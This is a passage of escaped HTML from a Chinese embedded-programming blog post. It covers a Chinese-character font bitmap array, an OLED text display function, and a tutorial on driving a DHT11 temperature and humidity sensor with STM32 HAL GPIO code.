number\"\u003e0xA8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x90\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x92\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x86\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\u0026#34;康\u0026#34;*/\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;师\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x0B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x09\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\u0026#34;师\u0026#34;*/\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;傅\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x0F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x17\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x37\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x54\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x97\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x1F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\u0026#34;傅\u0026#34;*/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e显示汉字使用 \u003ccode\u003eGUI_ShowCHinese(uint8_t x,uint8_t y,uint8_t hsize,uint8_t *str,uint8_t mode)\u003c/code\u003e ,使用实例如 \u003ccode\u003eGUI_ShowCHinese(40,2,16,\u0026#34;康师傅\u0026#34;,1);\u003c/code\u003e\u003c/p\u003e\u003cp\u003e该函数说明:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/***************************************************************************** * @name :void GUI_ShowCHinese(uint8_t x,uint8_t y,uint8_t hsize,uint8_t *str,uint8_t mode) * @date :2018-08-27 * @function :Display Chinese strings * @parameters :x:the bebinning x coordinate of the Chinese strings y:the bebinning y coordinate of the Chinese stringssize:the size of Chinese stringsstr:the start address of the Chinese stringsmode:0-white background and black character 1-black background and white character * @retvalue :None******************************************************************************/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e显示其他内容可以 结合\u003ccode\u003etest.c\u003c/code\u003e 中的实例与 \u003ccode\u003egui.c\u003c/code\u003e 里的函数说明学习。\u003c/p\u003e\u003cp\u003e为了分开gb2312与utf-8,我将显示中文的地方全部写在了一个文件里,我在 \u003ccode\u003emain.c\u003c/code\u003e 用到的时候直接调用。\u003c/p\u003e\u003ch3 id=\"驱动DHT11温湿度传感器(单总线协议的学习)\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#%E9%A9%B1%E5%8A%A8DHT11%E6%B8%A9%E6%B9%BF%E5%BA%A6%E4%BC%A0%E6%84%9F%E5%99%A8%EF%BC%88%E5%8D%95%E6%80%BB%E7%BA%BF%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%AD%A6%E4%B9%A0%EF%BC%89\" class=\"headerlink\" title=\"驱动DHT11温湿度传感器(单总线协议的学习)\"\u003e\u003c/a\u003e驱动DHT11温湿度传感器(\u003cstrong\u003e单总线协议的学习\u003c/strong\u003e)\u003c/h3\u003e\u003cp\u003e)当时大二赶广和通项目的时候用的是 \u003ccode\u003eDS18B20\u003c/code\u003e 来着,是个单总线协议的温度传感器,网上找了段代码糊了一个,这次用 \u003ccode\u003eDHT11\u003c/code\u003e 学习学习单总线协议。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eDHT11 是一款湿温度一体化的数字传感器。该传感器包括一个电阻式测湿元件和一个 NTC\u003cbr/\u003e测温元件,并与一个高性能 8 位单片机相连接。通过单片机等微处理器简单的电路连接就能够\u003cbr/\u003e实时的采集本地湿度和温度。DHT11 与单片机之间能采用简单的单总线进行通信,仅仅需要一\u003cbr/\u003e个 I/O 口。传感器内部湿度和温度数据 40Bit 的数据一次性传给单片机,数据采用校验和方式\u003cbr/\u003e进行校验,有效的保证数据传输的准确性。DHT11 功耗很低,5V 电源电压下,工作平均最大\u003cbr/\u003e电流 0.5mA。DHT11 的技术参数:工作电压范围:3.3V-5.5V;工作电流 :平均 0.5mA;输出:单总线数字信号;测量范围:湿度 20\u003cdel\u003e90%RH,温度 0\u003c/del\u003e50℃;精度 :湿度±5%,温度±2℃;分辨率 :湿度 1%,温度 1℃;\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"DHT11-数据传输格式\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#DHT11-%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"DHT11 数据传输格式\"\u003e\u003c/a\u003eDHT11 数据传输格式\u003c/h4\u003e\u003cp\u003eDHT11 数字湿温度传感器采用单总线数据格式。即,单个数据引脚端口完成输入输出双向传输。其数据包由 40Bit 组成。数据分小数部分和整数部分,一次完整的数据传输为40bit,高位先出。\u003c/p\u003e\u003cp\u003eDHT11 的数据格式为:\u003cstrong\u003e8bit 湿度整数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 湿度小数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 温度整数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 温度小数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 校验和\u003c/strong\u003e。其中校验和数据为前四个字节相加。\u003cbr/\u003e传感器数据输出的是未编码的二进制数据。数据(湿度、温度、整数、小数)之间应该分开处理。例如,某次从 DHT11 读到的数据如下表所示:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003ebyte4\u003c/th\u003e\u003cth\u003ebyte3\u003c/th\u003e\u003cth\u003ebyte2\u003c/th\u003e\u003cth\u003ebyte1\u003c/th\u003e\u003cth\u003ebyte0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0010 1101\u003c/td\u003e\u003ctd\u003e0000 0000\u003c/td\u003e\u003ctd\u003e0001 1100\u003c/td\u003e\u003ctd\u003e0000 0000\u003c/td\u003e\u003ctd\u003e0100 1001\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e湿度 \u003cstrong\u003e整数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e湿度 \u003cstrong\u003e小数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e温度 \u003cstrong\u003e整数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e温度 \u003cstrong\u003e小数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e校验和\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e由以上数据就可得到湿度和温度的值,计算方法:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e湿度= byte4 . byte3=45.0 (%RH)\u003cbr/\u003e温度= byte2 . byte1=28.0 ( ℃)\u003cbr/\u003e校验= byte4+ byte3+ byte2+ byte1=73(=湿度+温度)(校验正确)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eDHT11 的数据格式是十分简单,DHT11 和 MCU 的一次通信最大为 3ms 左右,建议主机连续读取时间间隔不要小于 100ms。 下面,我们介绍一下 DHT11 的传输时序。\u003c/p\u003e\u003ch4 id=\"提前准备\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#%E6%8F%90%E5%89%8D%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"提前准备\"\u003e\u003c/a\u003e提前准备\u003c/h4\u003e\u003cp\u003e本次使用数据传输脚:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 数据传输脚 PA12\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eDHT11_DQ_OUT\u003c/span\u003e \u003cspan class=\"token expression\"\u003eGPIO_PIN_12\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e设置数据传输脚为输出:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_IO_OUT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e GPIO_InitTypeDef GPIO_InitStruct \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePin \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eMode \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_MODE_OUTPUT_PP\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePull \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_NOPULL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eSpeed \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_SPEED_FREQ_LOW\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e设置数据传输脚为输入:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_IO_IN\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e GPIO_InitTypeDef GPIO_InitStruct \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePin \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eMode \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_MODE_INPUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePull \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_PULLUP\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_GPIO_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"DHT11-的数据发送流程\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#DHT11-%E7%9A%84%E6%95%B0%E6%8D%AE%E5%8F%91%E9%80%81%E6%B5%81%E7%A8%8B\" class=\"headerlink\" title=\"DHT11 的数据发送流程\"\u003e\u003c/a\u003eDHT11 的数据发送流程\u003c/h4\u003e\u003cp\u003eDHT11 的数据发送流程如下图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-1.png\" alt=\"DHT11 的数据发送流程\"/\u003e\u003c/p\u003e\u003ch5 id=\"开始信号\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#%E5%BC%80%E5%A7%8B%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"开始信号\"\u003e\u003c/a\u003e开始信号\u003c/h5\u003e\u003cp\u003e首先主机发送 \u003cstrong\u003e开始信号\u003c/strong\u003e,即:拉低数据线,保持 t1(至少 18ms)时间,然后 \u003cstrong\u003e拉高数据线\u003c/strong\u003e t2(20~ 40us)时间,然后读取 DHT11 的响应。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-2.png\" alt=\"DHT11 开始信号\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e复位DHT11\u003c/strong\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-C\" data-language=\"C\"\u003e\u003ccode class=\"language-C\"\u003evoid DHT11_Rst(void) { DHT11_IO_OUT(); //SET OUTPUT HAL_GPIO_WritePin(GPIOA, DHT11_DQ_OUT, GPIO_PIN_RESET); delay_ms(20); //拉低至少18ms HAL_GPIO_WritePin(GPIOA, DHT11_DQ_OUT, GPIO_PIN_SET); delay_us(30); //主机拉高20~40us}\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"响应信号\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#%E5%93%8D%E5%BA%94%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"响应信号\"\u003e\u003c/a\u003e响应信号\u003c/h5\u003e\u003cp\u003eDHT11的 \u003cstrong\u003e响应\u003c/strong\u003e :正常的话,DHT11 会 \u003cstrong\u003e拉低\u003c/strong\u003e 数据线,保持 t3(40~50us)时间,作为响应信号,然后 DHT11 \u003cstrong\u003e拉高\u003c/strong\u003e 数据线,保持 t4(40 ~50us)时间后,开始输出数据。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-3.png\" alt=\"DHT11 开始信号\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e检测DHT11的回应\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回1:未检测到DHT11的存在\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//返回0:存在\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Check\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_IO_IN\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//SET INPUT\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//DHT11会拉低40~80us\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026gt;=\u003c/span\u003e\u003cspan class=\"token 